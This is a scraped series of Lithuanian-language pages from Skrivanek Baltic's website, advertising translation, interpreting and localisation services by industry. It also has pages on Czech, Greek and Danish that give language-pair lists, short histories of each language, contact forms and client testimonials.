lygiams; ir kitas jums reikalingas paslaugas. IŠKLAUSYSIME JŪSŲ POREIKIUS IR PARENGSIME SPECIALIAI JUMS SKIRTĄ PASIŪLYMĄ. Susisiekite su mumis Draudimas Statyba Žmogiškieji ištekliai (HR) Finansai ir bankininkystė IT ir žaidimai Žemės ūkis Teisė Miškininkystė Mechaninė inžinerija ir geležinkeliai Medicina ir klinikiniai tyrimai Gamyba Reklama ir rinkodara Prekyba Turizmas Valstybinės ir savivaldybių institucijos KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- > Kokybiški specializuoti sprendimai. Vertimas raštu ir žodžiu. Kalbų kursai. Gaukite nemokamą pasiūlymą per kelias minutes! - Published: 2022-07-13 - Modified: 2024-01-03 - URL: https://skrivanek.lv/tulkosanas-nozares/ - Translation Priorities: Optional Draudimas Statyba Žmogiškieji ištekliai (HR) Finansai ir bankininkystė IT ir žaidimai Žemės ūkis Teisė Miškininkystė Mechaninė inžinerija ir geležinkeliai Medicina ir klinikiniai tyrimai Gamyba Reklama ir rinkodara Prekyba Turizmas Valstybinės ir savivaldybių institucijos KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- > Kalbų sprendimai su daugiau nei 300 čekų kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir kt. Gaukite nemokamą pasiūlymą per 15 minučių! - Published: 2022-07-13 - Modified: 2024-08-12 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-cehu-valoda/ - Translation Priorities: Optional Ieškote kalbinių sprendimų čekų kalba? Susisiekite su mumis! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klientas *Privatus asmuoĮmonė Vardas ir pavardė *Telefono Pridėti Pašalinti Vardas ir pavardė *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti Jūsų žinutėĮkelkite dokumentą, ne didesnį nei 20 MB, jei dokumentas viršija limitą, parašykite tai žinutėje ir mes su jumis susisieksime Click or drag files to this area to upload. You can upload up to 10 files. Kaip apie mus sužinojote? Kaip apie mus sužinojote? Esu Skrivanek klientasGoogle paieškaDraugo (-ės) / pažįstamo (s) rekomendacijaFacebookTwitterLinkedInInstagramReklamaParodaReklama spausdintoje žiniasklaidojeSu manimi susisiekė Skrivanek pardavimų vadybininkasKita *Sutinku, jog mano pateikti asmens duomenys būtų tvarkomi šios užklausos tikslais pagal „Skrivanek Baltic“ Privatumo politiką. Siųsti Kokybės ir nuoseklumo garantija, patvirtinta ISO sertifikataisMūsų projektų vadovai kalba latvių, rusų, anglų, vokiečių ir lenkų kalbomis99 % klientų pasiūlymą gauna greičiau nei per 15 minučiųDaugiau nei 3 000 kalbos specialistų ir gimtakalbiųDaugiau nei 98 % klientų norėtų mus rekomenduoti savo draugams ir partneriamsKasmet mūsų biure išverčiama daugiau kaip 16 milijonų žodžių. SPRENDIMAI, KURIE DAŽNIAUSIAI TEIKIAMI IŠ / Į ČEKŲ KALBĄ: dokumentų vertimas į čekų kalbą; skubūs rašytiniai vertimai; notaro patvirtinti vertimai; lokalizacija; mašininis vertimas su redagavimu; tekstų adaptacija ir kūrybinių tekstų rengimas; DTP – grafinio dizaino paslaugos; čekų kalbos vertimą žodžiu; čekų kalbos kursai. ČEKŲ KALBOS KOMBINACIJOS: latvių–čekų; čekų–latvių; estų–čekų; čekų–estų; lietuvių–čekų; čekų–lietuvių; rusų–čekų; čekų–rusų; lenkų–čekų; čekų–lenkų; ukrainiečių–čekų; čekų–ukrainiečių; anglų–čekų; čekų–anglų; vokiečių–čekų; čekų–vokiečių; ispanų–čekų; čekų–ispanų; prancūzų–čekų; čekų–prancūzų; italų–čekų; čekų–italų; danų–čekų; čekų–danų; švedų–čekų; čekų–švedų; norvegų–čekų; čekų–norvegų; suomių–čekų; čekų–suomių ir kt. FAKTAI APIE ČEKŲ KALBĄ Čekų kalba priklauso indoeuropiečių kalbų šeimos slavų grupei, o visame pasaulyje ja kalba apie 11,5 mln. žmonių. Tai seniausia iš slavų kalbų. Čekų kalba yra Čekijos Respublikos valstybinė kalba, ja taip pat kalbama JAV, Austrijoje, Kanadoje, Slovakijoje ir Vokietijoje. Čekų kalba yra viena iš 23 oficialiųjų Europos Sąjungos kalbų. Čekijoje šia kalba kalba 96 % gyventojų. Čekų kalba turi tris pagrindines tarmių grupes – čekų, hanakiečių ir lachų, kurios dar skirstomos į kelis pogrupius. Skiriamos keturios tarmės: bohemiečių, cešyno Silezijos (vartojama pietų Lenkijoje ir taip pat laikoma lenkų kalbos tarme su stipria čekų įtaka), moravų ir silezų. Čekų kalbos ištakos siekia X a. , kai ji, kaip ir kitos slavų kalbos, pradėjo formuotis iš bendros senųjų slavų gimtosios kalbos. Iki XIII a. pabaigos čekai naudojo lotynišką abėcėlę be jokių pakeitimų, tačiau didėjant tekstų kiekiui buvo sukurta rašymo sistema, kuri tiksliau žymėjo čekų kalbai būdingus garsus, neturinčius atitikmenų lotynų abėcėlėje. Jie buvo pradėti naudoti XV a. pradžioje. Keletą šimtmečių lygiagrečiai buvo vartojami digrafai (tą patį garsą reiškiančios raidžių poros) ir raidės su diakritiniais ženklais. Dabartinėje čekų kalboje taip pat yra diakritinių ženklų sistema, tačiau vienintelis išlikęs digrafas yra „-ch“. XIV–XVI a. čekų literatūrinė kalba vystėsi centrinės Bohemijos arba Prahos tarmės pagrindu, tačiau XVIII a. ji vystėsi sparčiau ir tapo tokia, kokią pažįstame šiandien. Pirmoji knyga čekų kalba buvo išspausdinta 1468 m. Tai taip pat pirmoji knyga, išleista slavų kalba. Pirmoji gramatikos knyga buvo išleista 1533 m. 17. Po Reformacijos judėjimo Čekijoje nuslopinimo XVII a. , lotynų kalba vėl tapo dominuojančia rašto kalba. Čekiškai spausdintos knygos buvo naikinamos, o slapta publikuoti tekstai perrašomi į rankraščius. Dėl istorinių priežasčių šiuolaikinėje Čekijos teisėje galioja gana griežtas kalbos įstatymas – Čekijoje tiek oficialioji, tiek žiniasklaidos komunikacija vyksta tik čekų kalba. Parengtos veiksmingos čekų kalbos programos atvykėliams, kurios už simbolinį mokestį siūlomos visuose didžiuosiuose miestuose. Tik keli valstybiniai universitetai ir atskiri fakultetai (gamtos ir technikos srities) siūlo kursus anglų kalba. Literatūrinė čekų kalba labai skiriasi nuo šnekamosios čekų kalbos. Raštas pagrįstas lotynų abėcėle, kurią sudaro 42 grafemos, įskaitant raides su diakritiniais ženklais. Čekiška rašyba iš esmės yra fonetinė – kiekvieną garsą atitinka tam tikra raidė. Abėcėlę sudaro: A, A, B, C, C, D, D, E, E, Ě, F, G, H, Ch, I, Í, J, K, L, M, N, Ň, O, Ó, P, Q, R, Ř, S, Š, T, Ť, U, Ú, Ů, V, W, X, Y, Ý, Z, Ž. Čekai dvigubus priebalsius žodžio viduryje taria trumpai, pvz. , Anna . Kai kuriuos čekiškus žodžius užsieniečiams labai sunku ištarti dėl priebalsių junginių. Kalba turi gerai išvystytą linksniuočių ir asmenavimo sistema, o žodžių tvarka sakinyje yra gan laisva. Daiktavardžiai kaitomi gimine, skaičiumi ir linksniais. Čekų kalboje yra trys giminės: niekatroji, moteriškoji ir vyriškoji. Yra septyni linksniai: vardininkas, kilmininkas, naudininkas, galininkas, įnagininkas, vietininkas, šauksmininkas. Kai kurie daiktavardžiai turi tik vienaskaitos formą, kai kurie – tik daugiskaitos, o kai kurie daiktavardžiai (daugiausia kūno dalių pavadinimai, kurie sudaro poras) yra senosios daugiskaitos formos likučiai. Čekų kalboje skiriami kieto ir minkšto tipo daiktavardžiai. Kieto tipo daiktavardžiai – tai daugiausia daiktavardžiai, kurių šaknis baigiasi kietuoju priebalsiu, o minkšto tipo daiktavardžiai – tai daiktavardžiai, kurių šaknis baigiasi minkštuoju priebalsiu. Vyriškosios giminės daiktavardžiai skirstomi kitaip – skiriami daiktavardžiai, kuriais vadinamos gyvos būtybės, ir daiktavardžiai, kuriais vadinami daiktai. Čekų kalboje skoliniai paprastai pritaikomi pagal šios kalbos darybos principus. Yra trys būdvardžių lyginamieji laipsniai; bendriausias laipsnis taip pat vartojamas kokybei sumažinti. Čekų kalboje kirtis yra pastovus, o pirmasis skiemuo visada kirčiuojamas. Nelyginiai skiemenys daugiaskiemeniuose žodžiuose kirčiuojami pagalbiniu kirčiu. Yra kelios išimtys, kai žodis nekirčiuojamas – tai trumposios asmeninio įvardžio formos ir pagalbinio veiksmažodžio „būti“ formos. Čekiškai ir slovakiškai kalbantys žmonės lengvai supranta vieni kitus, nes jų kalbos labai panašios. Kalbos kodas ISO 639-1: cs --- > Kalbų sprendimai, susiję su daugiau nei 300 graikų kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir kt. Gaukite nemokamą pasiūlymą! - Published: 2022-07-13 - Modified: 2024-08-12 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-grieku-valoda/ - Translation Priorities: Optional Ieškote kalbinių sprendimų graikų kalba? Susisiekite su mumis! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klientas *Privatus asmuoĮmonė Vardas ir pavardė *Telefono Pridėti Pašalinti Vardas ir pavardė *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti Jūsų žinutėĮkelkite dokumentą, ne didesnį nei 20 MB, jei dokumentas viršija limitą, parašykite tai žinutėje ir mes su jumis susisieksime Click or drag files to this area to upload. You can upload up to 10 files. Kaip apie mus sužinojote? Kaip apie mus sužinojote? Esu Skrivanek klientasGoogle paieškaDraugo (-ės) / pažįstamo (s) rekomendacijaFacebookTwitterLinkedInInstagramReklamaParodaReklama spausdintoje žiniasklaidojeSu manimi susisiekė Skrivanek pardavimų vadybininkasKita *Sutinku, jog mano pateikti asmens duomenys būtų tvarkomi šios užklausos tikslais pagal „Skrivanek Baltic“ Privatumo politiką. Siųsti Kokybės ir nuoseklumo garantija, patvirtinta ISO sertifikataisMūsų projektų vadovai kalba latvių, rusų, anglų, vokiečių ir lenkų kalbomis99 % klientų pasiūlymą gauna greičiau nei per 15 minučiųDaugiau nei 3 000 kalbos specialistų ir gimtakalbiųDaugiau nei 98 % klientų norėtų mus rekomenduoti savo draugams ir partneriamsKasmet mūsų biure išverčiama daugiau kaip 16 milijonų žodžių. SPRENDIMAI, KURIUOS DAŽNIAUSIAI TEIKIAME IŠ IR Į GRAIKŲ KALBĄ: dokumentų vertimus į graikų kalbą; skubūs rašytiniai vertimai; notaro patvirtinti vertimai; lokalizacija; interneto svetainių vertimas į graikų kalbą; mašininis vertimas su redagavimu; tekstų adaptacija ir kūrybinių tekstų rengimas; DTP – grafinio dizaino paslaugos; vertimą žodžiu į graikų kalbą; graikų kalbos kursus. GRAIKŲ KALBOS KOMBINACIJOS: anglų–graikų; graikų–anglų; latvių–graikų; graikų–latvių; estų–graikų; graikų–estų; lietuvių–graikų; graikų–lietuvių; rusų–graikų; graikų–rusų; lenkų–graikų; graikų–lenkų; ukrainiečių–graikų; graikų–ukrainiečių; čekų–graikų; graikų–čekų; vokiečių–graikų; graikų–vokiečių; ispanų–graikų; graikų–ispanų; prancūzų–graikų; graikų–prancūzų; italų–graikų; graikų–italų; danų–graikų; graikų–danų; švedų–graikų; graikų–švedų; norvegų–graikų; graikų–norvegų; suomių–graikų; graikų–suomių ir t. t. FAKTAI APIE GRAIKŲ KALBĄ Graikų kalba priklauso indoeuropiečių kalbų šeimai ir laikoma pirmąja Europos civilizacijos kalba. Šiandien pasaulyje šia kalba kalba apie 15 milijonų žmonių. Ši kalba turi valstybinės kalbos statusą Kipre ir Graikijoje, taip pat ja kalbama Albanijoje, Armėnijoje, Bulgarijoje, Kipre, Egipte, Prancūzijoje, Gruzijoje, Italijoje, Jordanijoje, Kazachstane, Makedonijoje, Rusijoje, Rumunijoje, Pietų Afrikos Respublikoje, Ispanijoje, Ukrainoje, Jungtinėje Karalystėje, JAV ir Pietų Afrikoje. Graikų kalbą istoriškai galima suskirstyti į kelis raidos laikotarpius: senąją graikų kalbą, mikėnų, senovės graikų, koinę, viduramžių ir šiuolaikinę graikų kalbą. Pirmieji rašytiniai dokumentai – užrašai ant molinių lentelių – datuojami Senovės Graikijos laikotarpiu, tačiau jie iššifruoti tik iš dalies. Svarbiausi šio laikotarpio literatūros paminklai yra Homero epai, parašyti maždaug IX–VIII a. pr. m. e. , tokie kaip „Iliada“ ir „Odisėja“. Mikėnų kalbos laikotarpis susijęs Mikėnų civilizaciją, kurios rašytiniai šaltiniai datuojami XIV–XV a. pr. m. e. Senovės Graikijoje buvo kalbama senąja graikų kalba. Susiliejus senovės graikų kalbos dialektams atsirado vadinamoji koine („bendrinė“) kalba – pirmoji kalba, suvienijusi senovės pasaulį ir tapusi lingua franca nuo rytinių Viduržemio jūros pakrančių iki Tolimųjų Rytų. Iš pradžių tai buvo Aleksandro Didžiojo užkariautų teritorijų lingua franca, o po helenistinės kolonizacijos buvo vartojama nuo Egipto iki Indijos. Žlugus Senovės Graikijai, koine taip pat kalbėjo daug Romos ir Bizantijos imperijų gyventojų. Apie VII a. atsirado graikų foneminis arba garsus atkartojantis raštas, kurio šaknys aptinkamos finikiečių rašte. Iš pradžių graikų abėcėlės raidės buvo naudojamos ir skaičiams žymėti. Šnekamoji kalba Graikijoje vystėsi sparčiau nei rašytinė – tuo metu, kai antikinė graikų kalba jau buvo šnekamoji, senoji graikų kalba vis dar buvo naudojama kaip rašytinė kalba. Šiuolaikinės Graikijos etapas prasidėjo maždaug XIV a. ir tęsiasi iki šių dienų. Yra dvi šios kalbos atmainos: šnekamoji arba dimotiki atmaina ir miesto arba katarevusa atmaina. Katarevusa vartojama oficialiose institucijose ir yra šiek tiek panaši į koine kalbą. Šiuolaikinė kalba labai skiriasi nuo senovės graikų kalbos; šiuolaikinis kalbėtojas negali suprasti senovės graikų kalbos. Senovės graikų kalba išsiskiria tuo, kad yra daugelio tarptautinių žodžių pagrindas. Verčiant graikiškus asmenvardžius į latvių kalbą, reikėtų atsižvelgti į įstatymą, kuriame teigiama: jei latvių kalboje yra atitinkama asmenvardžio galūnė, ji turi būti naudojama. Pavyzdžiui, graikiškas asmenvardis Mikis latvių kalboje perteikiamas lygiai taip pat. Kalbos kodas: ISO 639-1: el --- > Kalbų sprendimai su daugiau nei 300 danų kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir t. t. Gaukite nemokamą pasiūlymą per 15 minučių! - Published: 2022-07-13 - Modified: 2024-08-12 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-danu-valoda/ - Translation Priorities: Optional Ieškote kalbinių sprendimų danų kalba? Susisiekite su mumis! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klientas *Privatus asmuoĮmonė Vardas ir pavardė *Telefono Pridėti Pašalinti Vardas ir pavardė *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti Jūsų žinutėĮkelkite dokumentą, ne didesnį nei 20 MB, jei dokumentas viršija limitą, parašykite tai žinutėje ir mes su jumis susisieksime Click or drag files to this area to upload. You can upload up to 10 files. Kaip apie mus sužinojote? Kaip apie mus sužinojote? Esu Skrivanek klientasGoogle paieškaDraugo (-ės) / pažįstamo (s) rekomendacijaFacebookTwitterLinkedInInstagramReklamaParodaReklama spausdintoje žiniasklaidojeSu manimi susisiekė Skrivanek pardavimų vadybininkasKita *Sutinku, jog mano pateikti asmens duomenys būtų tvarkomi šios užklausos tikslais pagal „Skrivanek Baltic“ Privatumo politiką. Siųsti Kokybės ir nuoseklumo garantija, patvirtinta ISO sertifikataisMūsų projektų vadovai kalba latvių, rusų, anglų, vokiečių ir lenkų kalbomis99 % klientų pasiūlymą gauna greičiau nei per 15 minučiųDaugiau nei 3 000 kalbos specialistų ir gimtakalbiųDaugiau nei 98 % klientų norėtų mus rekomenduoti savo draugams ir partneriamsKasmet mūsų biure išverčiama daugiau kaip 16 milijonų žodžių. SPRENDIMAI, KURIUOS DAŽNIAUSIAI TEIKIAME IŠ / Į DANŲ KALBĄ: dokumentų vertimas į danų kalbą; skubūs rašytiniai vertimai; notarų patvirtinti vertimai; interneto svetainės vertimas į danų kalbą; mašininis vertimas su redagavimu; tekstų adaptacija ir kūrybinių tekstų rengimas; lokalizacija; DTP – grafinio dizaino paslaugos; vertimas žodžiu į danų kalbą; danų kalbos kursai. DANŲ KALBOS KOMBINACIJOS: latvių–danų; danų–latvių; estų–danų; danų–estų; lietuvių–danų; danų–lietuvių; rusų–danų; danų–rusų; lenkų–danų; danų–lenkų; ukrainiečių–danų; danų–ukrainiečių; čekų–danų; danų–čekų; vokiečių–danų; danų–vokiečių; ispanų–anglų; danų–ispanų; prancūzų–danų; danų–prancūzų; italų–danų; danų–italų; anglų–danų; danų–anglų; švedų–danų; danų–švedų; norvegų–danų; danų–norvegų; suomių–danų; danų–suomių ir kt. FAKTAI APIE DANŲ KALBĄ Danų kalba priklauso indoeuropiečių kalbų šeimai, šiaurės germanų kalbų grupei. Tai Danijos, Farerų salų, Europos Sąjungos ir Šiaurės Tarybos valstybinė kalba. Iki 2009 m. ši kalba buvo ir Grenlandijos valstybinė kalba. Danų kalba taip pat vartojama Vokietijos Šlėzvigo-Holšteino žemėje, kur ji turi mažumos kalbos statusą. Ją taip pat vartoja JAV, Argentinos ir Kanados bendruomenės. Ji gimininga švedų ir norvegų kalboms. Labiausiai skiriasi žodžių tartis – pavyzdžiui, danų kalboje daugelis priebalsių nėra tariami. Kaip ir kitose skandinavų kalbose, šioje kalboje jaučiama žemutinė vokiečių kalbos įtaka – maždaug trečdalis daniškų žodžių yra kilę iš žemutinės vokiečių kalbos. Apskaičiuota, kad daniškai kalbančių žmonių iš viso yra apie 5,6 mln. Farerų salose, Grenlandijoje ir Islandijoje danų kalba yra privalomas dalykas mokyklose. Apie 15–20 % Grenlandijos gyventojų kalba daniškai. Danų kalba yra kilusi iš rytinės senosios norvegų kalbos tarmės, todėl maždaug iki XII a. danai ir norvegai kalbėjo bendra kalba. Iki 1814 m. danų kalba buvo ir Norvegijos valstybinė kalba. Seniausi užrašai runų raštu datuojami maždaug prieš 250 metų. Seniausi XIII a. rankraščiai yra „Gesta Danorum“, kuriuose pasakojama apie pirmuosius Danijos monarchus. Pirmoji knyga buvo išspausdinta 1495 m. , o Biblija Danijoje išleista 1550 m. Danų abėcėlę sudaro 28 raidės. Be lotyniškos abėcėlės raidžių, danų kalba turi „Æ“, „Ø“, „Å“. Šiandien egzistuoja trys tarmės, kurios skirstomos į maždaug 30 dialektų. Yra Salų tarmė (Ømål), Bornholmo tarmė (Bornholmian) ir Jutlandijos tarmė (Jysk). Danų kalboje skiriamos krentanti, tęstinė ir kylanti intonacijos. Jų vartojimą lemia tarmė arba subjektyvūs kalbėtojo pageidavimai. Kitaip nei latvių kalboje, kur kylanti intonacija vartojama klausimui išreikšti, danų kalboje ji vartojama pasipiktinimui išreikšti. Daiktavardžiai danų kalboje turi dvi gimines– bendrąją ir niekatrąją. Dauguma daiktavardžių yra bendrinės giminės. Laikui bėgant, palaipsniui susijungiant moteriškai ir vyriškai giminei, susikūrė bendroji giminė. Danų kalboje vartojami apibrėžtieji ir neapibrėžtieji artikeliai, tačiau su daiktavardžiais, reiškiančiais profesiją ar tautybę, jie paprastai nevartojami. Danų kalboje daiktavardis turi kitokią galūnę tik kilmininko linksnyje, o su kitais linksniais naudojamos prielinksninės konstrukcijos. Būdvardžiai danų kalboje nekaitomi. Veiksmažodžiai neturi asmens ir skaičiaus, bet turi tris pagrindines formas: bendratį, paprastąją praeities formą ir būtojo laiko dalyvį. Kitos veiksmažodžių formos sudaromos prie šių formų pridedant galūnes ir pagalbinius žodžius. Įdomu tai, kad kai danų kalboje išreiškiamas skaičius, vienetas eina prieš dešimt. Danų kalbos sintaksė nurodo, kad sakinyje visada turi būti veiksnys ir tarinys, vienintelė išimtis – kai veiksmažodis yra liepiamojoje nuosakoje. Žodžių tvarka sakiniuose yra griežta. Sakinyje niekada nevartojama daugiau nei vienas neiginys. Kalbos kodas ISO 639-1: da --- > Kokybiškos, su konkrečia sritimi susijusios paslaugos: vertimas raštu, vertimas žodžiu, notaro patvirtinimas. Lokalizavimas ir kalbų mokymas. Sužinokite daugiau! - Published: 2022-07-13 - Modified: 2024-01-03 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-medicinas-un-klinisko-petijumu-nozarei/ - Translation Priorities: Optional Medicininių ir klinikinių tyrimų sektorius yra griežtas ir neleidžia suklysti – jame dirba specialistai, kurių žinios ir įgūdžiai lemia žmonių sveikatą ir gyvenimą. Bet kokia informacija, kuri patenka į medicinos bendruomenę, turi būti daug kartų tikrinama ir turi būti tiksli bei nedviprasmiška. Medicininis vertimas yra viena sudėtingiausių vertimo rūšių, kurią atlieka kvalifikuoti specialistai, todėl „Skrivanek“ medicininių vertimų komandą sudaro gydytojai ir žmonės, turintys aukštąjį medicininį išsilavinimą, filologinę patirtį ir labai gerai mokantys gimtąją kalbą. Su medicininių tekstų vertimais dirbantys vertėjai ir redaktoriai supranta savo atsakomybę už pasekmes, kurios gali kilti dėl netikslaus ar neatsargaus vertimo. „Skrivanek“ kalbų ekspertai užtikrina, kad visi vertimai, ypač susiję su medicinos ir klinikinių tyrimų sektoriais, būtų tikslūs ir atitiktų terminus. Taip pat esame ISO 27001 ir ISO 17100 sertifikuota įmonė. Be to, garantuojame, kad mums patikėta informacija nebus perduota trečiosioms šalims. Jei jums reikia išversti įvairias rinkodaros brošiūras, pacientų ligos istorijas, klinikinių tyrimų dokumentus ir kitą rašytinę medžiagą arba vertimo žodžiu paslaugų konferencijoms ir kitiems renginiams, „Skrivanek“ mielai imasi darbo ir garantuoja aukštos kokybės rezultatus. MŪSŲ MEDICINOS IR KLINIKINIŲ TYRIMŲ SRITIES VERTIMO PASLAUGOS TEIKIAMOS VISOMIS POPULIARIAUSIOMIS EUROPOS KALBŲ KOMBINACIJOMIS IR APIMA: medicininių dokumentų (epikrizių, santraukų, medicininių įrašų vertimų, tyrimų vertimų, COVID-19 tyrimų vertimų, SARS-CoV-2 (COVID-19) diagnostinės medžiagos vertimų ir t. t. ) ir klinikinių tyrimų vertimus; farmacijos dokumentų (vaistų aprašymų, įvairios informacijos gydytojams ir pacientams, kokybės kontrolės dokumentų ir t. t. ) vertimus pagal Europos vaistų agentūros (EVA) ir vietos teisės aktų reikalavimus; esamų vertimų peržiūrą ir Zāļu valsts aģentūra (Nacionalinė vaistų agentūra) pasiūlytų pataisymų atlikimas parengtuose vertimuose; medicinos prietaisų dokumentų (naudojimo instrukcijų, prietaisų aprašymų ir kt. ) vertimus pagal Europos vaistų agentūros (EVA) ir vietos teisės aktų reikalavimus; įvairių naudojimo instrukcijų ir pakavimo medžiagų maketavimą; mokslinių straipsnių ir interneto svetainių, skirtų medicinos ir farmacijos pramonei, vertimus; sinchroninio arba nuosekliojo vertimo žodžiu paslaugas konferencijose ir seminaruose arba bendraujant su pacientais, taip pat sinchroninio gestų kalbos vertimo žodžiu paslaugos bendraujant su pacientais; vertėjo žodžiu asistento paslaugas medicinos turizmo paslaugų teikėjams; įvairaus lygio kalbų kursus, įskaitant medicinos darbuotojų mokymą dirbti užsienyje; taip pat kitas jūsų poreikius atitinkančias paslaugas. IŠKLAUSYSIME JŪSŲ POREIKIUS IR PARENGSIME SPECIALIAI JUMS SKIRTĄ PASIŪLYMĄ. Susisiekite su mumis Draudimas Statyba Žmogiškieji ištekliai (HR) Finansai ir bankininkystė IT ir žaidimai Žemės ūkis Teisė Miškininkystė Mechaninė inžinerija ir geležinkeliai Medicina ir klinikiniai tyrimai Gamyba Reklama ir rinkodara Prekyba Turizmas Valstybinės ir savivaldybių institucijos KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- > Kokybiški reklamos ir rinkodaros sprendimai: vertimas raštu, vertimas žodžiu, notaro patvirtinimas. Lokalizavimas ir kalbų mokymas. Sužinokite daugiau! - Published: 2022-07-13 - Modified: 2024-01-03 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-reklamas-un-marketinga-nozarei/ - Translation Priorities: Optional Jau žinote, kad svarbu pasirinkti tinkamus žodžius. Kartais mažiau yra daugiau.  MŪSŲ REKLAMOS IR RINKODAROS SRITIES VERTIMO PASLAUGOS TEIKIAMOS VISOMIS POPULIARIAUSIOMIS EUROPOS KALBŲ KOMBINACIJOMIS IR APIMA: visų rūšių skaitmeninės ir spausdintinės rinkodaros medžiagos (pvz. , pardavimo medžiagos, stiliaus vadovų, produktų informacinių biuletenių, el. pašto kampanijų ir kt. ) vertimus; rašytinius vaizdo ir garso reklaminių tekstų vertimus; reklaminių šūkių, reklaminių skydelių, „Google Ads“ ir SEO teksto vertimus; pagrindinių puslapių, įskaitant nukreipimo puslapių vertimus; grafinio dizaino paslaugas – DTP; kūrybinių tekstų rengimą ir pritaikymą; sinchroninius arba nuosekliuosius vertimus įvairiuose renginiuose, įskaitant seminarus, konferencijas, pristatymus; taip pat kitas jūsų poreikius atitinkančias paslaugas. IŠKLAUSYSIME JŪSŲ POREIKIUS IR PARENGSIME SPECIALIAI JUMS SKIRTĄ PASIŪLYMĄ. Susisiekite su mumis Draudimas Statyba Žmogiškieji ištekliai (HR) Finansai ir bankininkystė IT ir žaidimai Žemės ūkis Teisė Miškininkystė Mechaninė inžinerija ir geležinkeliai Medicina ir klinikiniai tyrimai Gamyba Reklama ir rinkodara Prekyba Turizmas Valstybinės ir savivaldybių institucijos KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- > Kokybiški sprendimai gamybos pramonei: vertimas raštu, vertimas žodžiu, notaro patvirtinimas. Lokalizavimas ir kalbų mokymas. Sužinokite daugiau! - Published: 2022-07-13 - Modified: 2024-01-03 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-razosanas-nozarei/ - Translation Priorities: Optional Tik stiprios įmonės, kurios kruopščiai renkasi partnerius, gali pasiekti geriausių rezultatų gamybos srityje. Nesvarbu, ar dirbate maisto sektoriuje, ar gaminate tekstilės ir kitas pramonines prekes, kokybiškam galutiniam produktui reikia nuolat ir tiksliai bendrauti su žaliavų tiekėjais, klientais ir kitais partneriais. „Skrivanek“ padės jūsų gamybos įmonei bendrauti jūsų pageidaujama užsienio kalba ir padės jums augti ne tik vietinėse, bet ir eksporto rinkose. Žinome, kad esate ambicingi ir turite didelių galimybių, o su tinkamais žodžiais tą bus lengviau įgyvendinti! Nesvarbu, ar jums reikia išversti rašytinį tekstą, lokalizuoti interneto svetainę ar suteikti DTP komandos pagalbą, ar jums gali prireikti vertėjo 